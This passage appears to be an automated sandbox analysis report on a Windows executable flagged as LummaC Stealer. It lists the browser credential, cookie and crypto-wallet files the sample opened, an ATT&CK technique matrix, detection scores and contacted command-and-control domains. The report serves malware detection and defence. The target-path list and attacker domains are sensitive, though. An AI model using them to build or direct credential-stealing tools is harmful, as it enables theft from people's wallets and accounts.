Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: 2FjvjcayaH.exe PID: 7516, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2FjvjcayaH.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2FjvjcayaH.exe	39%	ReversingLabs	Win32.Packed.Generic
2FjvjcayaH.exe	43%	Virustotal		Browse
2FjvjcayaH.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
strollheavengwu.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://strollheavengwu.shop/api	11%	Virustotal		Browse
shortsvelventysjo.shop	1%	Virustotal		Browse
incredibleextedwj.shop	1%	Virustotal		Browse
tolerateilusidjukl.shop	14%	Virustotal		Browse
liabilitynighstjsko.shop	1%	Virustotal		Browse
demonstationfukewko.shop	1%	Virustotal		Browse
shatterbreathepsw.shop	1%	Virustotal		Browse
strollheavengwu.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/	1%	Virustotal		Browse
alcojoldwograpciw.shop	1%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	104.21.15.198	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://strollheavengwu.shop/api	false	11%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
strollheavengwu.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://strollheavengwu.shop/:	2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.cou	2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false		high
https://strollheavengwu.shop/api(	2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/n	2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/apiIDi	2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/apius	2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004255000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004255000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apien	2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apiy	2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.shop/a	2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004230000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004230000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	false		high
